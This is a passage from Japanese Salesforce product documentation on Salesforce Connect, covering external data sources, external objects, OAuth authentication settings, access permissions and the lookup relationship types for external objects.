OAuth 2.0 は、DataSource.Provider クラスが OAUTH 認証機能を宣言する場合にのみ使用できます。
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説明項目

プロバイダを選択します。「外部認証プロバイダ」 (ページ1088)を参照して
ください。

認証プロバイダ

アクセストークンを要求するための権限の範囲を指定します。認証プロバイ
ダによって有効な値が決まります。「Scope パラメータの使用」 (ページ1123)

を参照してください。

範囲

メモ:

– 入力した値で、指定された認証プロバイダに定義された [デフォル
トの範囲] 値が置き換えられます。

– 範囲が定義されているかどうかは、各 OAuth フローがユーザに同意
画面を表示するかどうかに影響する場合があります。

– 更新トークンまたはオフラインアクセスを要求することをお勧めし
ます。要求を行わない場合、トークンの期限が切れたときに、外部
システムへのアクセス権が失われます。

外部システムに対して認証を行い OAuth トークンを取得するには、このチェッ
クボックスをオンにします。この認証プロセスは OAuth フローと呼ばれま
す。
[保存] をクリックすると、ログインするよう外部システムから求められま
す。ログインに成功すると、この組織から外部システムのデータにアクセス
するための OAuth トークンが外部システムから与えられます。

保存時に認証フローを開
始

新しいトークンが必要な場合 (トークンが期限切れなど)、あるいは [範囲]

または [認証プロバイダ]項目を編集した場合は、OAuth フローをやり直しま
す。

5. [保存] をクリックします。
6. [検証して同期] をクリックし、接続が正常であることを確認します。

このステップでは、DataSource.Connectionクラスの sync()メソッドも呼び出して、外部オブジェク
トとその項目を作成するために同期可能なテーブルのリストを取得します。

7. 必要に応じて、テーブルを選択し [[同期]] をクリックして、選択したテーブルごとに次の操作を実行しま
す。
• Salesforce 外部オブジェクトを自動的に作成する。
• Salesforce メタデータのデータ型と互換性のあるテーブル項目ごとに、カスタム項目を自動的に作成す

る。

メモ: 同期する前に、次のトピックで説明されている考慮事項について理解していることを確認して
ください。
• Salesforce Connect — すべてのアダプタの同期に関する考慮事項 (ページ 6364)
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• Salesforce Connect — カスタムアダプタの同期に関する考慮事項 (ページ 6369)

外部オブジェクトとカスタム項目を手動で作成し、外部データに対応付けすることができます。これによ
り、外部オブジェクト名のカスタマイズ、カスタム項目を作成するテーブル列の判断、カスタム項目名の
カスタマイズを行うことができます。ただし、この方法はより時間がかかり、手動のメンテナンスが必要
になります。

関連トピック:

Salesforce Connect によるカスタムアダプタを使用した外部データへのアクセスの設定
外部システムの認証設定の保存
指定ログイン情報

Salesforce Connect — カスタムアダプタの考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connect のカスタムアダプタを使用する場合の特殊な動作、制限、およ
び推奨事項について理解します。
すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

Salesforce Connect — カスタムアダプタでの Apex の考慮事項
Apex Connector Framework で Salesforce Connect カスタムアダプタを作成する場合
の制限と考慮事項について理解します。
Salesforce Connect — カスタムアダプタでの高データボリュームの考慮事項
組織で外部オブジェクトにアクセスするときにレート制限に達する場合は、
関連付けられた外部データソースで [高データボリューム]オプションを選択
することを検討してください。このオプションを選択すると、ほとんどの
レート制限が迂回されますが、一部の特殊動作と制限は適用されます。

関連トピック:

Salesforce Connect — すべてのアダプタの考慮事項
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Salesforce Connect — カスタムアダプタでの Apex の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Apex Connector FrameworkでSalesforce Connectカスタムアダプタを作成する場合の制
限と考慮事項について理解します。
• データ型の制限:

– Double — 18 桁を超える値の精度は失われます。精度を高めるには、double

の代わりに decimal を使用します。
– String — 長さが 256 文字以上の場合、文字列は Salesforce のロングテキスト

エリア項目に対応付けられます。
• Salesforce Connect のカスタムアダプタには、他の Apex コードと同じ制限が適

用されます。次に例を示します。
– すべての Apex ガバナ制限が適用されます。
– 同じトランザクション内のデータ操作言語 (DML) 操作の後にApexコールア

ウトを使用することはできません。そのため、同じトランザクション内
で Salesforce レコードを更新し、その後で Apex コールアウトを実行するこ
とはできません。

– テストメソッドは Web サービスコールアウトをサポートせず、Web サービスコールアウトを実行するテ
ストは失敗します。疑似応答を返すことによってこれらのテストの失敗を回避する方法を示す例は、
「Lightning Connect の Google ドライブ™ カスタムアダプタ」を参照してください。

関連トピック:

Salesforce Connect のカスタムアダプタ
Salesforce Connect — すべてのアダプタの Salesforce の互換性に関する考慮事項
Apex 開発者ガイド: プリミティブデータ型
Apex 開発者ガイド: 実行ガバナと制限
Apex 開発者ガイド: コールアウトの制限事項
Apex 開発者ガイド: Salesforce Connect の Google ドライブ™ カスタムアダプタ
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Salesforce Connect — カスタムアダプタでの高データボリュームの考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

組織で外部オブジェクトにアクセスするときにレート制限に達する場合は、関
連付けられた外部データソースで [高データボリューム] オプションを選択する
ことを検討してください。このオプションを選択すると、ほとんどのレート制
限が迂回されますが、一部の特殊動作と制限は適用されます。
• 大量データの外部データソースに関連付けられた外部オブジェクトに、次の

機能は使用できません。
– Lightning Experience によるアクセス
– Salesforce1 によるアクセス
– [最近使ったデータ] リストの表示
– レコードフィード
– レポートとダッシュボード
– 書き込み可能な外部オブジェクト

• Salesforce ID は、大量データの外部データソースに関連付けられた外部オブジェクトレコードには割り当て
られません。

• 大量データの外部データソースに関連付けられた外部オブジェクトのレコード詳細ページでは、JavaScript

を呼び出すカスタムボタンとカスタムリンクがサポートされません。
• Salesforce ClassicのSalesforce コンソールでは、大量データの外部データソースに関連付けられた外部オブジェ

クトがサポートされません。

関連トピック:

Salesforce Connect のカスタムアダプタ
Salesforce Connect — カスタムアダプタの考慮事項

外部データソースの操作
外部データソースは、外部システムへのアクセス方法を指定します。Salesforce Connect では、外部データソー
スを使用して、Salesforce 組織外に保存されているデータにアクセスします。Files Connect では、外部データソー
スを使用して、サードパーティのコンテンツシステムにアクセスします。外部データソースは、ユーザおよび
Force.com プラットフォームが外部データやコンテンツを操作するために使用する、外部オブジェクトに関連付
けられます。

外部データソースの定義
Salesforce 組織外に保存されているコンテンツおよびデータに接続するには、外部データソースを作成しま
す。
外部データソースの検証および同期
外部データソースを設定したら、同期して外部データソースのテーブルを Salesforce 組織の外部オブジェク
トに対応付けます。外部オブジェクトのコンテンツおよびデータは、Salesforce のコンテンツおよびデータ
と共に統合検索に含まれます。

6437

外部データソースの操作コードではなくてクリックによる Salesforce の拡張



外部オブジェクトの定義
外部データソースのテーブルは、Salesforce の外部オブジェクトに対応付けられ、統合検索のすべてのデー
タとコンテンツが結合されます。
外部データソースの認証設定へのアクセス権の付与
ユーザ単位の認証を使用する外部データソースの場合、権限セットまたはプロファイルを使用してアクセ
ス権をユーザに付与します。このようにすると、外部システムにアクセスするためのユーザの認証設定を
自分で設定および管理できるようになります。
外部システムの認証設定の保存
ユーザまたはシステム管理者は、外部システムの認証を設定および管理できます。認証設定が有効な場合
は、Salesforce 組織内から外部システムにアクセスできます。
外部オブジェクトリレーション
外部オブジェクトでは、18 文字の Salesforceレコード ID を使用して関連レコードを相互に関連付ける、標準
参照関係がサポートされます。ただし、Salesforce 組織の外部に保存されたデータは、多くの場合レコード
ID が含まれていません。そのため、外部オブジェクトでは、外部参照と間接参照という、2 つの特殊なタイ
プの参照関係を使用できます。
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外部データソースの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Connect を使用
可能なエディション:
Developer Edition。有料オ
プションで使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

外部データソースを作成
および編集する
• 「アプリケーションの

カスタマイズ」

Salesforce 組織外に保存されているコンテンツおよびデータに接続するには、外
部データソースを作成します。
1. [設定] から、[クイック検索] ボックスに「外部データソース」と入力し、[外

部データソース] を選択します。
2. [新規外部データソース] をクリックします。既存の外部データソースを変更

するには、[編集] をクリックします。
3. 使用する外部データソースの種別に応じた手順を実行します。

• Files Connect: Google ドライブ
• Files Connect: SharePoint 2010 または 2013

• Files Connect: SharePoint Online または OneDrive for Business

• 単純な URL: 別の Web ドメインのデータ
• Salesforce Connect: OData 2.0

• Salesforce Connect: OData 4.0

• Salesforce Connect: クロス組織
• Salesforce Connect: カスタム

関連トピック:

Salesforce Connect
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外部データソースの検証および同期

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Connect を使用
可能なエディション:
Developer Edition。有料オ
プションで使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

外部データソースから外
部オブジェクトを作成す
る
• 「アプリケーションの

カスタマイズ」

外部データソースを設定したら、同期して外部データソースのテーブルをSalesforce

組織の外部オブジェクトに対応付けます。外部オブジェクトのコンテンツおよ
びデータは、Salesforceのコンテンツおよびデータと共に統合検索に含まれます。

メモ:

• 同期を行うと、外部システムのスキーマに対応付けられたSalesforce外部
オブジェクトが作成または上書きされます。同期では、データはSalesforce

組織にコピーされず、組織から外部システムにも書き込まれません。
• 同期は 1 回のみのプロセスです。外部システムのスキーマが変更されて

も、変更内容は自動的にSalesforce組織と同期されません。オブジェクト
をもう一度同期して、変更内容を外部システムに反映します。

• 各組織は、最大 200 個の外部オブジェクトを設定できます。外部オブ
ジェクトは、カスタムオブジェクトの制限でカウントされません。同期
によって組織で 200個の外部オブジェクトを超える場合は、同期に失敗
します。

• Salesforce Connect外部データソースについては、同期に関する考慮事項を
読み、理解します。「Salesforce Connect — すべてのアダプタの同期に関
する考慮事項」 (ページ 6364)を参照してください。

1. [設定] から、[クイック検索] ボックスに「外部データソース」と入力し、[外
部データソース] を選択します。

2. 外部データソースの名前をクリックします。
3. [検証して同期] をクリックし、接続が正常であることを確認します。
4. テーブルを選択し [同期]をクリックして、選択したテーブルごとに次の操作

を実行します。
• Salesforce 外部オブジェクトを自動的に作成する。
• Salesforceメタデータのデータ型と互換性のあるテーブル項目ごとに、カス

タム項目を自動的に作成する。

例: 作成される外部データソースの詳細ページには、次のような関連外部
オブジェクトのリストが含まれます。
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関連トピック:

Salesforce Connect

外部オブジェクトの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Connect を使用
可能なエディション:
Developer Edition。有料オ
プションで使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

外部オブジェクトを作成
または編集する
• 「アプリケーションの

カスタマイズ」

外部データソースのテーブルは、Salesforceの外部オブジェクトに対応付けられ、
統合検索のすべてのデータとコンテンツが結合されます。
外部オブジェクトはカスタムオブジェクトと似ていますが、Salesforce 組織外に
保存されたデータに対応付けられるという点が異なります。各外部オブジェク
トは、外部データソース定義を使用して、外部システムのデータに接続します。
各外部オブジェクト定義は、外部システムのデータテーブルに対応付けられま
す。外部オブジェクトの各項目は、外部システムのテーブル列に対応付けられ
ます。外部オブジェクトを使用すると、ユーザおよび Force.com プラットフォー
ムは、外部オブジェクトを検索および操作できます。

メモ:

• 各組織は、最大 200 個の外部オブジェクトを設定できます。外部オブ
ジェクトは、カスタムオブジェクトの制限でカウントされません。

• 外部システムで許可されている場合は、外部データソースを同期して、
関連外部オブジェクトを自動的に作成することをお勧めします。また、
手動で外部オブジェクトを定義して、外部オブジェクト名をカスタマイ
ズし、カスタム項目を手動で作成することもできます。

外部オブジェクトを作成または変更する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「外部オブジェクト」と入力し、[外

部オブジェクト] を選択します。
2. [新規外部オブジェクト] をクリックします。既存の外部オブジェクトを変更

する場合は [編集] をクリックします。
3. 次の項目を入力します。

説明項目

わかりやすい外部オブジェクト名。表示ラベルは、リス
トビューなどのSalesforceユーザインターフェースに表示
されます。
オブジェクトの表示ラベルは、組織の標準オブジェク
ト、カスタムオブジェクト、外部オブジェクト全体で一
意にすることをお勧めします。

表示ラベル

外部オブジェクトの複数形の表示ラベル。このオブジェ
クトにタブを作成すると、そのタブにこの名前が使用さ
れます。

表示ラベル(複数
形)
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説明項目

組織のデフォルト言語で該当する場合、自動メッセージの表示ラベルの先頭を
「a」ではなく「an」にするときに選択します。

母音で始まる場合はチェッ
ク

API を使用しているときにこの外部オブジェクト定義の参照に使用する一意の
識別子。オブジェクト名は、組織の標準オブジェクト、カスタムオブジェク
ト、外部オブジェクト全体で一意である必要があります。
[オブジェクト名] 項目には、アンダースコアと英数字のみを使用できます。一
意であること、最初は文字であること、空白は使用しない、最後にアンダース

オブジェクト名

コアを使用しない、2 つ続けてアンダースコアを使用しないという制約があり
ます。

外部オブジェクトの説明 (省略可能)。わかりやすい説明を入力しておくと、外
部オブジェクトをリストで表示するときに区別しやすくなります。

説明

外部オブジェクトレコードのホーム (概要) ページ、詳細ページ、およびリスト
ビューや関連リストから、ユーザが[このページのヘルプ]をクリックしたとき
に表示される内容を定義します。
ユーザのために作成したカスタムヘルプを表示する場合は、[Visualforce ページ
を使ってウィンドウを開く] を選択することをお勧めします。「オブジェクト
レベルのヘルプの開始」 (ページ 5285)を参照してください。

カスタムヘルプの設定

代わりにデフォルト値を保持すると、Salesforce ヘルプのみがユーザに表示さ
れ、外部データに関する情報は提供されません。
この設定は、常に Salesforce ヘルプが開かれる各ページ上部の [ヘルプ & トレー
ニング] リンクには影響を与えません。

この外部オブジェクトで提供されるデータを最も的確に示す Visualforce ページ
を選択します。
この項目は、[Visualforce ページを使ってウィンドウを開く] 項目が選択されて
いる場合にのみ表示されます。

コンテンツ名

この外部オブジェクトで使用する接続の詳細を含む外部データソース定義。外部データソース

外部オブジェクトが対応付けられる、外部システムのテーブル。
SharePoint の場合、テーブル名は関連する範囲名と一致する必要があります。

テーブル名

Salesforce Connectでのみ使用できます。外部オブジェクトの [表示 URL]標準項
目値は、外部システムから自動的に生成されます。たとえば、Salesforce Connect

表示 URL の参照項目

の OData 2.0 アダプタでは、OData プロデューサで定義された link href に基
づいた値になります。
デフォルト値は、同じ外部オブジェクトのカスタム項目の値で上書きできま
す。項目名を選択し、カスタム項目の値が有効な URL であることを確認しま
す。
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説明項目

Salesforce Connect でのみ使用できます。レポートを許可

外部オブジェクトが他のユーザから参照できるようになっているかどうかを示
します。

リリース状況

選択されていると、外部オブジェクトの保存後にカスタムタブウィザードが起
動します。

この外部オブジェクトの保
存後、新規カスタムタブ
ウィザードを起動する

外部データソースでも検索が有効になってい場合、このオプションを選択する
と、ユーザは SOSL および Salesforce グローバル検索により外部オブジェクトの
レコードを検索できます。
デフォルトでは、新規外部オブジェクトの検索は無効になっています。ただ
し、外部データソースを検証して同期し、自動的に外部オブジェクトを作成す

検索を許可

ることができます。外部データソースの検索が有効になっていると、同期に
よって常に外部オブジェクトの検索が有効になります (その逆もあります)。
「Salesforce Connect — すべてのアダプタの検索に関する考慮事項」 (ページ6376)

を参照してください。

4. [保存] をクリックします。
5. 外部オブジェクトの詳細ページで、外部オブジェクトのカスタム項目とリレーション、ページレイアウト、

項目セット、検索レイアウト、ボタン、リンクを参照および変更します。
• 項目の対応付けを作成したり、外部オブジェクトに項目を追加したりするには、[カスタム項目 & リレー

ション] 関連リストの [新規] をクリックします。
• ユーザプロファイルで各種ページレイアウトを割り当てるには、[ページレイアウトの割り当て] をク

リックします。

関連トピック:

外部データにアクセスするための Salesforce Connect の設定 (OData 2.0 または 4.0 アダプタを使用)

組織間アダプタで別の組織のデータにアクセスするための Salesforce Connect の設定
Salesforce Connect によるカスタムアダプタを使用した外部データへのアクセスの設定
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外部データソースの認証設定へのアクセス権の付与

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Connect を使用
可能なエディション:
Developer Edition。有料オ
プションで使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

権限セットとユーザプロ
ファイルを編集する
• 「プロファイルと権限

セットの管理」

ユーザ単位の認証を使用する外部データソースの場合、権限セットまたはプロ
ファイルを使用してアクセス権をユーザに付与します。このようにすると、外
部システムにアクセスするためのユーザの認証設定を自分で設定および管理で
きるようになります。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] または [プロファイル] を選択します。
2. 変更する権限セットまたはプロファイルの名前をクリックします。
3. 次のいずれかの操作を実行します。

• 権限セット、または拡張プロファイルユーザインターフェースのプロファ
イルの場合は、[アプリケーション] セクションの [外部データソースアク
セス] をクリックします。次に、[編集] をクリックします。

• 元のプロファイルユーザインターフェースのプロファイルの場合は、[外
部データソースアクセスの有効化] セクションの [編集] をクリックしま
す。

4. 有効化するデータソースを追加します。
5. [保存] をクリックします。

関連トピック:

外部システムの認証設定の保存
組織間アダプタで別の組織のデータにアクセスするための Salesforce Connect の
設定
外部データにアクセスするための Salesforce Connect の設定 (OData 2.0 または 4.0

アダプタを使用)

Salesforce Connect によるカスタムアダプタを使用した外部データへのアクセス
の設定
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外部システムの認証設定の保存

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

指定ログイン情報を使用
可能なエディション: すべ
てのエディション

Salesforce Connect を使用
可能なエディション:
Developer Edition。有料オ
プションで使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition
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ユーザ権限

外部データソースの認証
設定を保存する
• [外部データソースへの

アクセス] で有効化さ
れたデータソース

指定ログイン情報の認証
設定を保存する
• [指定ログイン情報アク

セス] で有効化された
指定ログイン情報

外部システムの別のユー
ザの認証設定を編集する
• 「ユーザの管理」

ユーザまたはシステム管理者は、外部システムの認証を設定および管理できま
す。認証設定が有効な場合は、Salesforce 組織内から外部システムにアクセスで
きます。
システム管理者は、外部データソースおよび指定ログイン情報で外部システム
を定義します。外部データソースは、Salesforce 組織外に保存されているデータ
またはコンテンツへのアクセス方法を指定します。指定ログイン情報は、組織
から Web サービスコールアウトを受け取るコールアウトエンドポイントを指定
します。
操作を開始する前に、システム管理者は次の処理を行います。
• 外部データソースまたは指定ログイン情報がユーザ単位の認証を使用するよ

うに設定します。
• 外部データソースまたは指定ログイン情報へのアクセスを許可します。
• 組織が外部システムに接続可能であることを確認します。
• 入力する認証設定を通知します。
• Salesforceタブ + Visualforceテンプレートを使用して、コミュニティを設定しま

す (該当する場合)。
カスタマーサービス (Napili) テンプレートを使用してコミュニティが構築されている場合、システム管理者
のみが外部システムの認証を設定および管理できます。ユーザは独自にこの手順を完了することはできま
せん。

必要な設定またはオプションが表示されない場合は、システム管理者にお問い合わせください。
1. 次のいずれかの方法で外部システムの認証設定にアクセスします。

コミュニティ内からアクセスする場合
• コミュニティライセンスがある場合は、[私の設定] > [外部システムの認証設定] をクリックします。
• それ以外の場合は、個人設定から「認証」と入力し、[外部システムの認証設定] を選択します。
Salesforceから個人設定に移動し、[クイック検索]ボックスに「認証」と入力し、[外部システムの認証設定]

を選択します。

2. [新規] または [編集] をクリックします。
3. 項目を入力します。

説明項目

選択するオプションが不明な場合は、システム管理者に確認してください。外部システム定義
• 外部データソース: データが Salesforce組織外に保存されている外部オブジェ

クトへのアクセスを提供します。
• 指定ログイン情報: 指定ログイン情報で指定されたエンドポイントへの認証

コールアウトをトリガするアクションを有効にします。
指定ログイン情報は、外部データソースの認証を処理できます。このシナリオ
では、外部オブジェクトにアクセスするためにこの項目の [指定ログイン情報]

を選択するようにシステム管理者から指示されます。
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説明項目

[外部システム定義]で選択したオプションに応じて、いずれかの項目が表示さ
れます。
選択するオプションが不明な場合は、システム管理者に確認してください。シ
ステム管理者は、オプションの表示ラベルをより的確で、区別しやすいものに
変更できます。

外部データソース
または
指定ログイン情報

システム管理者のみが使用できます。入力している認証設定のユーザを選択し
ます。

ユーザ

4. 外部システムで必要な認証プロトコルを選択します。選択するオプションが不明な場合は、システム管理
者に確認してください。
• [パスワード認証] を選択した場合は、外部システムのユーザ名とパスワードを入力します。
• [OAuth 2.0] を選択した場合は、次の項目を入力します。

説明項目

選択するオプションが不明な場合は、システム管理者に確認してください。
システム管理者は、オプションの表示ラベルをより的確で、区別しやすいも
のに変更できます。

認証プロバイダ

入力する内容が不明な場合は、システム管理者に確認してください。
アクセストークンを要求するための権限の範囲を指定します。

範囲

外部システムに対して認証を行い OAuth トークンを取得するには、このチェッ
クボックスをオンにします。この認証プロセスは OAuth フローと呼ばれま
す。
[保存] をクリックすると、ログインするよう外部システムから求められま
す。ログインに成功すると、この組織から外部システムのデータにアクセス
するための OAuth トークンが外部システムから与えられます。

保存時に認証フローを開
始

新しいトークンが必要な場合 (トークンが期限切れなど)、あるいは [範囲]

または [認証プロバイダ]項目を編集した場合は、OAuth フローをやり直しま
す。
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5. [保存] をクリックします。

関連トピック:

外部データソースの定義
外部データソースの認証設定へのアクセス権の付与
指定ログイン情報の定義
指定ログイン情報の認証設定へのアクセス権の付与
コミュニティへのタブの追加

外部オブジェクトリレーション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Connect を使用
可能なエディション:
Developer Edition。有料オ
プションで使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

外部オブジェクトでは、18 文字の Salesforce レコード ID を使用して関連レコード
を相互に関連付ける、標準参照関係がサポートされます。ただし、Salesforce 組
織の外部に保存されたデータは、多くの場合レコード ID が含まれていません。
そのため、外部オブジェクトでは、外部参照と間接参照という、2 つの特殊なタ
イプの参照関係を使用できます。
外部参照と間接参照では、親オブジェクトの特定の項目の値と子オブジェクト
のリレーション項目の値が比較されます。値が一致すると、レコードが相互に
関連付けられます。
外部オブジェクトリレーションを作成するには、子オブジェクトに次のいずれ
かの項目種別のカスタム項目を作成します。子が外部オブジェクトの場合、既
存のカスタム項目の項目種別を次のいずれかに変更できます。
• 参照関係
• 外部参照関係
• 間接参照関係
この表には、外部オブジェクトで使用できるリレーション種別がまとめられて
います。

レコードを照合する親項
目

許可された親オ
ブジェクト

許可された子オ
ブジェクト

リレーション

18 文字の Salesforceレコー
ド ID

標準
カスタム

標準
カスタム
外部

参照

外部 ID 標準項目外部標準
カスタム
外部

外部参照

External ID および
Unique 属性を使用し

標準
カスタム

外部間接参照
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レコードを照合する親項目許可された親オブジェ
クト

許可された子オブジェ
クト

リレーション

て、カスタム項目を選択します

外部オブジェクトの参照関係項目
参照関係は、18 文字の ID で関連する Salesforceレコードを識別する列が外部データに含まれている場合に使
用します。
外部オブジェクトの外部参照関係項目
外部参照関係は、親が外部オブジェクトの場合に使用します。
外部オブジェクトの間接参照関係項目
間接参照関係は、外部データに Salesforce レコード ID が含まれていない場合に使用します。

関連トピック:

カスタム項目の作成
カスタム項目のデータ型の変更
Salesforce Connect — すべてのアダプタのリレーションに関する考慮事項
グローバル検索での Files Connect データソースの追加
オブジェクトリレーションの概要
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外部オブジェクトの参照関係項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Connect を使用
可能なエディション:
Developer Edition。有料オ
プションで使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

参照関係は、18 文字の ID で関連する Salesforce レコードを識別する列が外部デー
タに含まれている場合に使用します。
参照関係項目は、子標準オブジェクト、子カスタムオブジェクト、子外部オブ
ジェクトを親標準オブジェクトまたは親カスタムオブジェクトにリンクします。
子レコードを編集しているユーザは、項目のルックアップアイコンをクリック
して特定の親レコードを選択できます。親レコードを参照しているユーザは、
子レコードの関連リストを参照できます。
外部オブジェクトの参照関係項目を作成するときに、親レコードを識別する 18

文字の Salesforce ID が含まれている [外部列の名前] を入力します。

例:

• 取引先レコード (親標準オブジェクト) には、外部 SAP 販売注文 (子外部
オブジェクト) の関連リストが表示されます。

• 取引先レコード (親標準オブジェクト) には、サポートケース (子外部オ
ブジェクト) の関連リストが表示されます。

関連トピック:

外部オブジェクトリレーション
カスタム項目の作成
Salesforce Connect — すべてのアダプタのリレーションに関する考慮事項
グローバル検索での Files Connect データソースの追加
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外部オブジェクトの外部参照関係項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Connect を使用
可能なエディション:
Developer Edition。有料オ
プションで使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

外部参照関係は、親が外部オブジェクトの場合に使用します。
外部参照関係は、子の標準、カスタム、または外部オブジェクトを親の外部オ
ブジェクトにリンクします。
親外部オブジェクトの [外部 ID] 標準項目の値は、外部参照関係項目の値と照合
されます。子外部オブジェクトについては、外部参照関係項目の値は指定した
[外部列の名前] から取得されます。

例:

• 外部商品カタログ項目 (親外部オブジェクト) には、サポートケース (子
標準オブジェクト) の関連リストが表示されます。

• 外部顧客 (親外部オブジェクト) には、外部注文 (子外部オブジェクト) の
関連リストが表示されます。

例: Salesforce Connect の組織間アダプタで、取引先責任者と取引先をプロバ
イダ組織に保存するとします。各取引先の関連取引先責任者は、登録者組
織から参照します。これを行うには、登録者組織の Contact 外部オブジェク
トで外部参照項目を作成します。その外部参照項目を登録者組織の Account

外部オブジェクトにリンクします。次に、関連する Contact 外部オブジェク
トレコードを表示する関連リストが含まれるように、Account 外部オブジェ
クトのページレイアウトを設定します。

例: このスクリーンショットの Business_Partner 外部オブジェクトのレコード
詳細ページには、子オブジェクトの 2 つの関連リストが表示されます。こ
の例では、外部参照関係とページレイアウトにより、ユーザがどのように
Salesforce 組織の内部および外部の関連データを 1 つのページで表示できる
のかを示しています。
• Account 標準オブジェクト (1)

• Sales_Order 外部オブジェクト (2)
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関連トピック:

外部オブジェクトリレーション
カスタム項目の作成
カスタム項目のデータ型の変更
Salesforce Connect — すべてのアダプタのリレーションに関する考慮事項
グローバル検索での Files Connect データソースの追加
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外部オブジェクトの間接参照関係項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Connect を使用
可能なエディション:
Developer Edition。有料オ
プションで使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

間接参照関係は、外部データに Salesforce レコード ID が含まれていない場合に使
用します。
間接参照関係は、子の外部オブジェクトを親の標準またはカスタムオブジェク
トにリンクします。外部オブジェクトの間接参照関係項目を作成する場合、相
互に照合する親オブジェクト項目と子オブジェクト項目を指定します。
具体的には、指定した [外部列の名前] によって値が決まる子の間接参照関係項
目と照合される、親オブジェクトの一意のカスタム外部 ID 項目を選択します。
外部システムが、指定した [外部列の名前] 項目で大文字と小文字を区別する値
を使用している場合、親オブジェクトの項目でも大文字と小文字を区別するこ
とを確認します。親オブジェクトのカスタム項目を定義する場合、[外部 ID]、
[一意の]、および [「ABC」と「abc」を別の値として扱う (大文字と小文字を区別
する)] を選択します。

メモ: 間接参照関係で親オブジェクトとして使用できるのは、External

IDおよび Unique属性を含むカスタム項目があるオブジェクトのみです。
間接参照関係項目を作成するときに目的のオブジェクトが表示されない場
合は、一意のカスタム外部 ID 項目をそのオブジェクトに追加します。

例:

• 取引先レコード (親標準オブジェクト) には、顧客 ID (Salesforce ID ではな
い) が一致する SAP 販売注文 (子外部オブジェクト) の関連リストが表示
されます。

• 取引先責任者レコード (親標準オブジェクト) には、ソーシャルメディア
ハンドルが一致するソーシャルメディア投稿 (子外部オブジェクト) の関
